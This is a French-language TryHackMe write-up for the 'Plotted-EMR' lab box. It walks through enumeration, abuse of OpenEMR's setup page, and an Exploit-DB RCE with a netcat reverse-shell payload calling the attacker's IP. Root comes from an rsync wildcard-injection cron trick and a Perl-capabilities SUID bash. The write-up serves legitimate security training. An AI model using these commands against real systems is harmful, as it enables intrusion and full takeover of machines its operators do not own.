Plotted-EMR – Walkthrough Fr | TryHackMe – Write-up

Everything here is plotted!

Plotted-EMR est une boîte rigide de TryHackMe. L’initiale est très bonne. Il faut réfléchir et recoller les morceaux!!! Après, c’est du privé classique.

 

Enumération

Commande :

nmap -sV -sC -T5 10.10.207.74

 

Nmap nous montre 5 ports ouverts. Il faut pour chacun d’entre eux les énumérer. Nous allons commencer par le service FTP.

Enumération ftp

L’accès au service FTP se fait avec le compte anonymous.

Il faut bien regarder et voir .- puis et enfin télécharger le fichier you_are_determined.txt avec la commande :

 mget you_are_determined.txt

Lecture du fichier you_are_determined.txt :

cat you_are_determined.txt

On obtient un indice. Il y a un service qui fonctionne avec le compte admin. Reste à savoir lequel ?

Enumeration MariaDB - Mysql

Nmap nous a déjà donné la version. Nous allons essayer de nous connecter au service avec le compte admin.

Commande :

mysql -u admin -h 10.10.207.74 -P 5900

L’accès est possible sans mot de passe. En revanche, il n’y a rien d’intéressant à l’intérieur des bases de données.

Enumération Web

Port 80

dirsearch -u 10.10.207.74 -x 403

 

/admin

On atterrit sur un page avec un string encodé en base64 apparemment.

/passwd

Même chose dans ce répertoire

Les deux éléments ne sont que des rabbithole

dGhpcyBtaWdodCBiZSBhIHVzZXJuYW1l    === this might be a username

aHR0cHM6Ly93d3cueW91dHViZS5jb20vd2F0Y2g/dj1kUXc0dzlXZ1hjUQ==  === https://www.youtube.com/watch?v=dQw4w9WgXcQ

 

Port 8890

Commande :

dirsearch -u 10.10.207.74 :8890-x 403

On récupère plusieurs répertoires intéressants.

 

/portal

On atterrit sur une page de login

Vulnérabilité sur Plotted-EMR

En effectuant une recherche sur Google, il apparait que les versions 5.0.2.1, 5.0.1.3 sont vulnérables.  Il faut, en revanche,  être authentifié. Il faut donc trouver un moyen de se logger à l’interface.

En premier, on va d’abord à nouveau parser le site web uniquement sur /portal cette fois-ci.

Commande :

dirsearch -u 10.10.207.74 :8890/portal -x 403

 

On trouve une page setup.php qui nous permet apparemment de mettre en place un nouveau site. Après quelques recherches du Google, il existe aussi une autre page admin.php qui nous donne d’autre information.

Création d'un nouveau site

Ce n’est pas un exploit très simple en mettre en place. Il faut réfléchir et se rappeler des accès que l’on a trouvé précédent. Ça m’a pris beaucoup de temps pour comprendre…

Il faut mettre un nom au site et faire continue

Continue

Prendre le choix : Have setup create the database

Et enfin on arrive sur la page de configuration du nouveau site.

Les informations à modifier :

MYSQL SERVER:

server host : 10.10.207.74

Server Port: 5900

Login Name: newuser

Password: celui que vous voulez

Name for Root Account: admin ( c’est le compte avec lequel on s’est connecté sur la base sql )

OPENEMR USER:

Initial User: newsadmin

Initial User Password: celui que vous voulez

Attention, après avoir cliqué sur continue, ça peut prendre jusqu’à 1 minute pour arriver à l’étape suivante.

Accès au nouveau site

Initial foothold

Maintenant, on a des identifiants pour se connecter à l’application OpenEmr. Il est possible d’utiliser l’exploit disponible qui permettent d’obtenir un RCE.

Exploit à utiliser : https://www.exploit-db.com/exploits/45161

La ligne 66 doit être modifiée. Il faut mettre le nom du nouveau site.

Commande pour lancer l’exploit :

python2.7 45161.py -u admin -p password -c ‘rm f;mkfifo f;cat f|/bin/sh -i 2>&1|nc 10.11.38.124 1234 > f’ http://10.10.137.4:8890/portal/

 

Enumération local - cron task - élévation de privilege 1

Linpeas nous montre une tâche planifiée qui s’exécute toutes les minutes.

Il y une wildcard dans la ligne de commande. Cela peut être utilisé pour élever les privilèges. Comme le script va sauvegarder tous les éléments ( * ) présent dans config, On va créer un fichier dans ce dossier qui va obliger rsync à exécuter la commande  sh shell.sh grâce au double tiret .

Commande à effectuer :

cd /var/www/html/portal/config

echo « cp /bin/bash /home/plot_admin/ shell; chmod +s /home/plot_admin/shell » > shell.sh

touch — « -e sh shell.sh »

 

Une fois que la tâche planifiée a été exécuter, il faut se rendre dans le dossier /home/plot_admin et exécuter le nouveau bash.

Commande :

./shell -p

Escalade de privilège - capabilities

Linpeas l’avait déjà montré. Perl a des capabilities. Le site gtfobins nous explique comment procéder pour élever les privilèges vers root.

Commande : 

getcap -r / 2>/dev/null

 

Commande original de gtfobins : 

./perl -e ‘use POSIX qw(setuid); POSIX::setuid(0); exec « /bin/sh »;’

Commande modifiée : 

/usr/bin/perl -e ‘chmod 7777, « /bin/bash »‘

/bin/bash -p

#

 

That’s all folks

Merci d’avoir pris la peine de venir sur le site de lire ce Write Up

J’espère qu’il vous a plus et qu’il vous apprit des nouvelles choses.

N’hésitez pas à laisse un commentaire ou à partager cet article. 

Facebook
Twitter
LinkedIn
Pinterest